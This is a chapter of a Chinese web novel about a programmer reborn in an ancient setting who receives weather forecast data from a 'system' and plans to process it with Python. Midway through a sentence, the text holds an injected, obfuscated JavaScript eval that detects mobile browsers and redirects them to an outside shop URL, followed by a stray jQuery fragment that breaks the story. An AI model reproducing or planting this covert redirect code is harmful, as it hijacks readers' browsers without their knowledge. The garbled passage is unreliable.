2. 新手礼包
作品:《程序员也要当女帝》 “关于新手礼包,本统为宿主准备了宿主2核4G+100G硬盘容量的初始服务器,并且宿主可以在免费数据中选择一样进行订阅:武宁县人口、地形或气象数据。”
“这地形数据是什么?有没有资源或矿产分布情况?”如果武宁县能开采出矿产来,那她爹姜瑞成也能升官离开这破地方。
“抱歉宿主,地形数据只有高程数值。但我们的精度是很高的,有0.5米呢。”如果没有矿产分布,那只有武宁县的地形好像一时半会也没什么用途,而且高精度的地形数据文件可能会很大,系统的硬盘只给了100G,姜媛害怕这数据一下子会占据十来个G。
“人口数据和气象数据呢?”
“人口数据是目前出现在武宁县范围内的所有人的姓名、年龄、户籍地、职业、犯罪记录等信息。气象数据是预报时刻及24小时内的数据,时间间隔为每小时。这两种数据都是每日更新一次。”这两个数据倒是挺有用的,人口数据可以监控坏人的动向,气象数据可以用于农业生产——毕竟这时代的农民主要还是靠天吃饭的。
“那我选气象数据。”姜媛觉得,这倒是快速积攒声望值的好方法,还能打造神女人设。
“宿主已选择气象数据,已为宿主发放明日数据在默认文件夹,宿主可以自由设置数据存放方式及默认刷新路径。”
姜媛打开了data文件夹,只见里面多出了一个文件:
forecast_001-06-21.grib2
“这文件咋还是二进制格式的,系统,这怎么处理?”姜媛以为气象数据会是她之前处理过的表格形式的站点观测数据,直接打开后发现这文件是一堆夹杂各种生僻字中文字符、英文单词和符号的乱码。
“大祁在这个时代自然是没有现代那种气象观测站点的,并且站点观测数据也只是记录当前时刻的状态。所以这份未来24小时气象数据是本统从上面获取的天气预报数据。宿主请放心,本统的天气预报数据是非常可靠的,各项评分指标都无限接近于完美。至于这个grib2文件,和宿主之前项目里面处理过的气象再分析数据nc文件结构类似,使用Python里面的xarray库open_dataset就可以打开,设置多一个参数就行。代码提示插件可以提示宿主怎么设置参数。”
nc文件姜媛倒是有点印象,这是她前世参加某次校级数据建模竞赛时接触到的,当时的题目是使用历史气象数据建立模型来预测天气。
当然,现实中无论是华国还是那些发达国家气象部门所发布的天气预报,他们所使用的模型是非常复杂的,并且需要大量的算力。简单来说,数值天气预报就是人们将大气运动规律总结成一些数学物理方程或参数化方案,再利用高性能计算机进行计算,得到未来天气发展状况。除了几千个气象观测站点所观测到的历史数据之外,还有卫星遥感数据、气象雷达探测资料、探空气球或飞机探测到的高空探测资料等各种各样的资料。
在那次数学建模竞赛中,姜媛当时做的只是收集了一些网上的开源资料,利用一些时间序列分析的思路,比如将数据进行带通滤波——拆解气象要素的长期和短期变化趋势,然后再使用几个基础的时间序列模型,做了几组结果。因为她的报告写的内容比较完善,居然还拿了一等奖。而特等奖的报告除了对气象要素进行时间序列分析之外,还参考了一些气象学理论,分析天气系统的变化趋势及对预测地区天气的影响。
姜媛觉得,自己和特等奖的同学做的模型显然都没法跟气象部门所使用的那些模型相提并论,她也不打算将这些模型复现出来。因为她后面对比过自己模型结果和真实气象数据,差距还是蛮大的。
不过系统给的气象数据倒是挺不错,除了地面气象要素如2m温度、10m风场、降水量、云量等外,还有高空的数据。她在发现在文件的描述里面,数据的空间分辨率有0.25度(约27公里),虽然在武宁县范围内只有一个格点,但如果后续能够获取到更大范围的数据,她还可以尝试一下用气象学理论来分析。这次穿越有个好处是她发现之前的记忆都非常清晰,比如那次特等奖报告的各类细节她都非常清楚,仿佛在现场观看一样。
“哎,等一下。001-06-21,001是我穿过来的第一年,06-21是今天的日期?”
“宿主,大祁的历法类似华国的农历。在大祁的历法里面今天是五月廿三日,但
06-21是明天,也就是五月廿四日。为什么在数据中不使用大祁历法,是考虑到如果存在闰月,不方便宿主进行数据分析。”姜媛知道,华国的农历是主要为了考虑到农作的“二十四节气”和月亮朔望点周期变化,而地球公转导致太阳连续两次通过春分点的时间间隔应是365天左右,导致农历和后世的公历存在“时间差”,所以在农历中出现了闰月。
“不过宿主不用担心。如果宿主在数据分析的时候需要用到大祁历法的日期,我们也有相应的函数可以帮助宿主进行时间处理。”
“另外,宿主在识海空间中也可以休息。目前在识海空间中休息的效率是在现实中休息效率的两倍。”姜媛很高兴,那就意味着她每天晚上只要在识海空间中休息2个时辰,就相当于现实中的休息4个时辰。那剩下的时间她要用来......
“那当然不能完全摆烂。我要改变原主和姜府众人在原书中的命运,把这好日子继续过下去,这才叫可持续躺平。”姜媛想。“如果可以的话,能拯救武定县的命运那更好,屠城之类的事情还是不要发生了。”当然,如果管不了的话,她也只能选择劝说姜府众人提前跑路,独善其身。
姜媛仔细看了一下明天的天气预报,明天没有降雨,地表的气温、风速也比较正常。她又向系统确认了一下,以后每天早上8点她都会自动获得第二天的天气预报。所以今天她决定写一个简单的脚本,内容是读取气象数据文件并将各个地面气象要素时间序列绘制在同一张图上,这个她每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892603|192241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天早上起来只需要改一下文件名就可以了。
花了一刻钟写完代码,姜媛感觉自己有点饿。雪儿先前端过来的早餐是梗米粥和两个小菜,但这会已经凉了。
“厨房里还有老鸭汤在火上熬着,小姐可要用一些?奴婢再新加一点米进去,正好煮成鸭肉粥。”雪儿看自家小姐气色还不错,便尝试劝她用些肉粥。
“是不是差不多该用午食了。今日身子感觉爽利了很多,我去陪爹娘用饭吧。”这几天吃的都是各种粥,姜媛想吃点正经饭,顺便见下原主的父母。在原主的记忆中,姜家一家人住在就在县城主街上的宅子里,因此,她爹中午一直都是从县衙回家用饭的。
然而,雪儿告诉她,现在还是巳时。所以姜媛只好让雪儿去厨房要了碟点心来垫垫肚子,又让春桃给她梳洗打扮一番。
在让春桃帮她挑选衣服的时候,姜媛顺便看了一下原主的箱笼。姜媛虽然有原主记忆中她娘经常叫人给她做衣服的部分,但也惊叹到原主的衣服居然这么多——光是夏季的衣服,就有三个大箱子的规模,这是冬季的厚衣服还收在库房里的情况下。
前世的姜媛也是个爱打扮的小姑娘。虽然在本科的时候比较拮据,但是在她读博时每个月有5000块钱的补助,去大厂实习时更有每天300元的巨款,另外偶尔还接一点辅导学弟学妹大作业代码的私活。在存钱之余,也能够有些闲钱穿搭打扮,但自己夏季的衣服也就塞满了一个收纳箱,大概有几十件?所以原主夏季的衣服至少有接近百套了。
姜媛知道,在古代,因为生产力不发达,所以衣服、布匹是非常值钱的。大祁朝的时装崇尚宽衣广袖,稍微富裕一些的人家,衣服放量都做的比较大。穷人家一匹布能做出三套衣服,但对于富裕人家而言一匹布只能裁出一条裙子。按照原主便宜的衣服一套几百文,贵一点的衣服大概几两算,这里大概有50两银子,加上冬装和首饰,总价值肯定超过百两银子,比她爹两年的俸禄还多。结合她上辈子所知道的公务员年薪,普通人家里的女儿可不会置办20万的衣服。
今天天气较热,姜媛选了一件藕荷色纱衫作为上襦,配同色系缠枝莲纹罗裙,又觉得有些素,便选了茜色的百蝶穿花比甲。又让春桃挽了个时兴的双环髻,配上芙蓉绢花和两只小金钗——前世她从来没拥有过金首饰呢。
不过这时代的金首饰应该也挺价格不菲,因为原主好像也没有金镯子、金簪子或金步摇等大件的金首饰。至于玉镯子,她倒是不太想戴,两个玉镯子一个是暗绿色的她觉得老气,另一个像桂花糕一样的黄白色但没什么光泽。这两镯子应该也不是什么珍贵的料子,而现在的生产力自然也没有酸洗加工技术。
姜媛能感受到两个丫鬟都在为自己气色好很多了而欣喜,那姜家父母那边自然也不用瞒着他们了。毕竟现在要是他们找个大夫过来,不管是谁都能把脉出她现在的身体十分康健。她决定编点神仙奇遇的故事,这样以后不仅是天气预报,她拿出别的东西也顺利正常了。

